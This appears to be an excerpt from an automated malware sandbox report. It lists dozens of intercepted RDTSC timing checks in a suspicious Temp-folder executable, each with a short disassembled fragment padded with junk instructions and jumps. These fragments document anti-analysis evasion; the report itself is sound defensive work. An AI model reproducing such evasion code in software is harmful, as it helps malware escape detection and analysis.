Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7808F4 second address: 78091B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4246CBDF9h 0x00000009 jmp 00007FB4246CBDEAh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78091B second address: 78091F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78091F second address: 780928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780CF0 second address: 780D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB424542857h 0x0000000d pushad 0x0000000e ja 00007FB424542846h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780D18 second address: 780D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780D1E second address: 780D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780D23 second address: 780D2D instructions: 0x00000000 rdtsc 0x00000002 js 00007FB4246CBDF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780E94 second address: 780E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780E9A second address: 780EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780EA0 second address: 780EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780EA4 second address: 780EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB4246CBDECh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jne 00007FB4246CBDE6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 push ecx 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e jmp 00007FB4246CBDEDh 0x00000023 push eax 0x00000024 push edx 0x00000025 js 00007FB4246CBDE6h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 784246 second address: 78424B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A14E second address: 75A197 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB4246CBDF4h 0x00000008 jmp 00007FB4246CBDEEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FB4246CBDF1h 0x00000015 nop 0x00000016 sbb dx, A4E7h 0x0000001b lea eax, dword ptr [ebp+1248EF3Dh] 0x00000021 add dx, 3AF4h 0x00000026 cld 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jns 00007FB4246CBDE6h 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A197 second address: 75A19D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A19D second address: 75A1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A1A1 second address: 7399E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ecx, esi 0x00000010 sub dword ptr [ebp+122D1996h], ebx 0x00000016 call dword ptr [ebp+122D1DB2h] 0x0000001c push edi 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007FB424542858h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A77A second address: 75A780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A780 second address: 75A797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a ja 00007FB424542846h 0x00000010 je 00007FB424542846h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A797 second address: 75A7A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB4246CBDE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A7A1 second address: 75A7C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FB42454284Dh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A8F2 second address: 75A8F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75A976 second address: 75A97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AB36 second address: 75AB50 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4246CBDEEh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AB50 second address: 75AB54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AB54 second address: 75AB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AB5A second address: 75AB60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AD6E second address: 75AD96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB4246CBDEAh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75AD96 second address: 75ADA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75B031 second address: 75B036 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75B405 second address: 75B46E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB424542848h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D20A6h], eax 0x0000002a lea eax, dword ptr [ebp+1248EF81h] 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007FB424542848h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov ch, 37h 0x0000004c push eax 0x0000004d jc 00007FB424542858h 0x00000053 push eax 0x00000054 push edx 0x00000055 jnl 00007FB424542846h 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75B46E second address: 75B472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75B501 second address: 75B50F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FB424542846h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75B50F second address: 73A5B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b or edx, 04B819FEh 0x00000011 call dword ptr [ebp+122D196Eh] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 73A5B6 second address: 73A5BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 73A5BA second address: 73A5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71A7A6 second address: 71A7AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 71A7AC second address: 71A7B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7844CD second address: 784507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007FB424542846h 0x0000000e jmp 00007FB424542855h 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB424542852h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 784682 second address: 784688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7847A1 second address: 7847A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7847A5 second address: 7847A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 784D1A second address: 784D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB424542846h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 709853 second address: 709857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 709857 second address: 70987A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB424542852h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 70987A second address: 709880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 709880 second address: 709884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 709884 second address: 70988A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78E415 second address: 78E41F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78E41F second address: 78E429 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB4246CBDECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78D67A second address: 78D697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB424542856h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78D697 second address: 78D69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78D7CB second address: 78D7D9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FB424542846h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78D7D9 second address: 78D7F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78D7F3 second address: 78D811 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB424542853h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78D811 second address: 78D81F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FB4246CBDE6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78D81F second address: 78D823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78DB51 second address: 78DB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FB4246CBDEEh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78DB69 second address: 78DB7D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB424542846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jl 00007FB42454286Eh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78DB7D second address: 78DB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 78E14A second address: 78E15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424542850h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 792351 second address: 792358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796870 second address: 796876 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796876 second address: 79687F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79687F second address: 796888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7969DC second address: 7969E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796B80 second address: 796B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796B86 second address: 796B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB4246CBDE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796B91 second address: 796B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796E1D second address: 796E29 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB4246CBDEEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796F96 second address: 796F9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79722A second address: 79723B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jng 00007FB4246CBDECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79735E second address: 797390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542856h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB424542851h 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 797890 second address: 7978A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB4246CBDE6h 0x00000008 je 00007FB4246CBDE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7978A0 second address: 7978C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542851h 0x00000007 pushad 0x00000008 jmp 00007FB42454284Ch 0x0000000d ja 00007FB424542846h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 796261 second address: 7962A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FB4246CBDEBh 0x0000000a jmp 00007FB4246CBDF3h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jbe 00007FB4246CBDEEh 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007FB4246CBDECh 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A127 second address: 79A12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A12B second address: 79A146 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB4246CBDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4246CBDEFh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A146 second address: 79A178 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB424542856h 0x0000000c jne 00007FB424542846h 0x00000012 jmp 00007FB42454284Ah 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB42454284Fh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A178 second address: 79A17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A17C second address: 79A182 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A182 second address: 79A18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A18C second address: 79A190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A190 second address: 79A1AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FB4246CBDF6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79A1AC second address: 79A1B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 799CE1 second address: 799CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 799CE5 second address: 799CF8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FB424542848h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 799CF8 second address: 799CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 79C85C second address: 79C860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
